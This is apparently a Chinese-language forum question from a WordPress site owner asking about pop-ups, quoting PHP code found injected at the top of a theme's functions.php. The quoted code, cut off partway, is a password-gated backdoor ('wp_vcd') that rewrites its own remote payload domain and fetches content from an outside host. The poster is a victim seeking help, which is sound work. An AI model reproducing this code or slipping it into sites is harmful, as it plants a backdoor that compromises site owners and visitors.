我有一个共享主机和一些wordpress网站。最近有时,当我访问我的网站时,弹出窗口打开。因此,我在Cpanel中打开了一个wordpress网站的模板目录。此代码已添加到functions.php文件顶部:
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '220c580cc80d7d449f04533fc8f68c79'))
{
$div_code_name = "wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if (preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code9\.php/i', $file, $matcholddomain))
{
$file = preg_replace('/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default:
print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
if (!function_exists('theme_temp_setup'))
{
$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
if (!is_404() && stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false …Run Code Online (Sandbox Code Playgroud)